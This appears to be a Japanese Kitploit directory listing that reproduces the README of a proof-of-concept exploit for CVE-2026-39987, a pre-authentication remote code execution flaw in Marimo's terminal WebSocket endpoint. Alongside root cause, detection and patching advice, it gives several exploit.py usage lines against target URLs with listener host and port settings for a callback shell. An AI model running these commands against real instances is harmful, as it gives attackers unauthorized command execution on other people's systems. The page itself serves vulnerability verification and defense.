Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-39987 — CVE-2026-39987の概念実証エクスプロイト。MarimoのターミナルWebSocketエンドポイントにおける事前認証RCEです。未認証のコマンド実行を実証し、脆弱なインスタンスとパッチ適用済みインスタンスの検証テストを含みます。 | Kitploit
ツール/GitHubGitHub/th3purge/cve-2026-39987
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミング
GitHubth3purge/cve-2026-39987

CVE-2026-39987

CVE-2026-39987の概念実証エクスプロイト。MarimoのターミナルWebSocketエンドポイントにおける事前認証RCEです。未認証のコマンド実行を実証し、脆弱なインスタンスとパッチ適用済みインスタンスの検証テストを含みます。

リポジトリを見る
17時間18分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-39987 Marimo 事前認証RCE


📋 脆弱性情報

プロパティ値
CVECVE-2026-39987
製品Marimo
脆弱性事前認証リモートコード実行
攻撃ベクトルネットワーク
認証不要
ユーザー操作不要
CWECWE-306 — 重要な機能に対する認証の欠如
深刻度緊急 (Critical)
修正バージョン0.23.0

CVE-2026-39987 は、リアクティブなPythonノートブック環境であるMarimoに影響を与える、重大な事前認証リモートコード実行(RCE)の脆弱性です。この脆弱性は、ターミナルWebSocketエンドポイント /terminal/ws に存在します。


🔍 根本原因

脆弱なターミナルエンドポイントは、WebSocket接続を受け入れた後にインタラクティブなPTYを作成します。

概念的には、脆弱なリクエストフローは次のとおりです:

root@kitploit:~
リモートクライアント
     |
     | WebSocket接続
     v
/terminal/ws
     |
     | 認証検証の欠如
     v
WebSocket接続が受け入れられる
     |
     v
PTYが作成される
     |
     v
インタラクティブシェル

重要なセキュリティ境界は、認証チェックの欠如です。

任意のコマンド実行を公開するエンドポイントは、認証されていないクライアントがPTY作成ロジックに到達することを許可してはなりません。


🎯 目的と範囲

主な目的

このプロジェクトの目的は、管理された環境において、MarimoのターミナルWebSocketエンドポイントに影響を与える認証強制の欠如を実証することです。

セキュリティチームは、このプロジェクトを以下の目的で使用できます:

  • Marimoインスタンスの露出状況の検証
  • セキュリティパッチの有効性の確認
  • 潜在的なセキュリティ影響の文書化
  • 防御的制御の改善
  • 認可された脆弱性検証の支援

認可された環境

  • テスターが所有するセキュリティラボ
  • 明示的な書面による認可があるシステム
  • トレーニングおよび教育環境
  • 認可されたペネトレーションテストおよびセキュリティ評価

警告: PoCは、自分が所有するシステム、または明示的にテストを認可されたシステムに対してのみ実行してください。


🔗 悪用チェーン

完全な脆弱性チェーンは次のように要約できます:

root@kitploit:~
1. 攻撃者が露出したMarimoインスタンスを発見
                |
                v
2. 攻撃者が /terminal/ws に接続
                |
                v
3. 認証が強制されない
                |
                v
4. WebSocket接続が受け入れられる
                |
                v
5. PTYターミナルが作成される
                |
                v
6. 攻撃者がコマンド実行を獲得
                |
                v
7. コマンドがMarimoプロセスとして実行される

重大なセキュリティ障害はステップ3で発生します。


📦 インストール

要件

root@kitploit:~
Python 3.7+
pip
認可されたターゲットへのネットワークアクセス

依存関係

root@kitploit:~
# 基本インストール
pip install websocket-client

# フルインストール
pip install websocket-client rich

検証

root@kitploit:~
python3 exploit.py --help

🚀 使用方法ガイド

基本構文

root@kitploit:~
python3 exploit.py -u <TARGET_URL> --lhost <LOCAL_IP> --lport <PORT>

実践的な例

1. ローカルラボテスト

root@kitploit:~
python3 exploit.py \
  -u http://127.0.0.1:8081 \
  --lhost 127.0.0.1 \
  --lport 4444

2. 認可されたリモートテスト

root@kitploit:~
python3 exploit.py \
  -u https://marimo.example.com \
  --lhost 192.168.1.100 \
  --lport 5555 \
  --timeout 30 \
  --retries 5

3. デバッグモード

root@kitploit:~
python3 exploit.py \
  -u http://target:8081 \
  --lhost 10.0.0.5 \
  --lport 9999 \
  --verbose \
  --no-verify-ssl \
  --retry-delay 1.5

📋 パラメータリファレンス

パラメータ型説明デフォルト
-u, --urlstringターゲットのMarimoインスタンスのベースURL必須
--lhoststringリスナーIPアドレス必須
--lportintリスナーポート(1-65535)必須
--timeoutintリスナーのタイムアウト(秒)15
--retriesintWebSocket接続の再試行回数3
--retry-delayfloat再試行間の遅延2.0
--no-verify-sslflagSSL証明書の検証を無効化False
-v, --verboseflag詳細出力を有効化False
-s, --silentflag出力を抑制False

🔄 エクスプロイトのワークフロー

root@kitploit:~
フェーズ1: 初期化
    ↓ パラメータの検証
    ↓ ロギングの設定

フェーズ2: 準備
    ↓ リスナーの初期化
    ↓ WebSocket接続の確立

フェーズ3: 検証
    ↓ ターミナルエンドポイントのテスト
    ↓ 認証強制の確認
    ↓ 接続動作の記録

フェーズ4: 実証
    ↓ 認可されたテストセッションの確立
    ↓ コマンド実行コンテキストの確認
    ↓ 検証証拠の収集

フェーズ5: クリーンアップ
    ↓ ターミナル状態の復元
    ↓ 接続のクローズ
    ↓ リソースの解放

🧪 検証テスト

テストシナリオ

脆弱なインスタンス

root@kitploit:~
python3 exploit.py \
  -u http://vulnerable:8081 \
  --lhost 10.0.0.1 \
  --lport 4444

期待される結果: 脆弱なターミナルエンドポイントが認証されていない接続を受け入れます。

パッチ適用済みインスタンス

root@kitploit:~
python3 exploit.py \
  -u http://patched:8081 \
  --lhost 10.0.0.1 \
  --lport 4444

期待される結果: 認証制御により接続が拒否されるか、その他の方法で防止されます。

タイムアウトテスト

root@kitploit:~
python3 exploit.py \
  -u http://firewalled:8081 \
  --lhost 10.0.0.1 \
  --lport 4444 \
  --timeout 5

期待される結果: タイムアウトが正常に報告されます。


📈 脆弱性統計

root@kitploit:~
深刻度:       緊急 (Critical) (CVSS 9.3)
複雑度:       低
認証:         不要
影響:         リモートコード実行
プロトコル:   WebSocket
エンドポイント: /terminal/ws
修正バージョン: 0.23.0

ソースのREADMEは、この問題をCVSS 9.3 Criticalとして分類し、CWE-306、プロトコルとしてWebSocket、影響を受けるエンドポイントとして /terminal/ws を特定しています。


🔎 検出

悪用の潜在的な指標には、以下への予期しないWebSocket接続が含まれます:

root@kitploit:~
/terminal/ws

防御側は以下を調査する必要があります:

  • ターミナルWebSocketエンドポイントへの予期しない接続
  • Marimoによって生成された予期しないシェルプロセス
  • 不審な子プロセス
  • 予期しない外部への接続
  • 機密性の高い環境変数へのアクセス
  • 予期しないファイルシステムアクティビティ
  • Marimoプロセスによって実行された不明なコマンド

🛡️ 修復

Marimoを修正済みリリースにアップグレードしてください:

root@kitploit:~
0.23.0 以降

追加の防御的推奨事項は次のとおりです:

  • 必要な場合を除き、Marimoをパブリックインターネットに直接公開しないでください。
  • ノートブックサービスを認証付きリバースプロキシの背後に配置してください。
  • ネットワークアクセスを信頼できるユーザーとネットワークに制限してください。
  • Marimoを必要最小限の権限で実行してください。
  • 機密性の高いホストディレクトリをコンテナにマウントしないでください。
  • 侵害されたインスタンスからアクセスされた可能性のある認証情報をローテーションしてください。
  • 不審な /terminal/ws アクティビティについてログを確認してください。
  • パッチ適用だけでは攻撃者の永続化が除去されないため、侵害された可能性のあるインスタンスを調査してください。

🔐 セキュリティ分類

root@kitploit:~
CVE:        CVE-2026-39987
CWE:        CWE-306
深刻度:     緊急 (Critical)
タイプ:     事前認証RCE
プロトコル: WebSocket
エンドポイント: /terminal/ws
認証:       不要
修正:       0.23.0

📄 ライセンス

認可された使用のみ

このプロジェクトは、以下の目的のみに提供されます:

  • 認可されたセキュリティテスト
  • 学術研究
  • 脆弱性検証
  • セキュリティトレーニング
  • 防御的セキュリティ開発

認可されていない使用は固く禁止されており、該当する現地法および国際法に違反する可能性があります。


⚠️ 免責事項

このプロジェクトは、セキュリティ研究、脆弱性検証、および教育目的のために提供されています。

所有していないシステム、またはテストの明示的な認可がないシステムに対してPoCを使用しないでください。

メンテナーは、誤用、認可されていないテスト、損害、データ損失、またはこのプロジェクトの使用から生じるいかなる結果についても責任を負いません。

ツールをダウンロード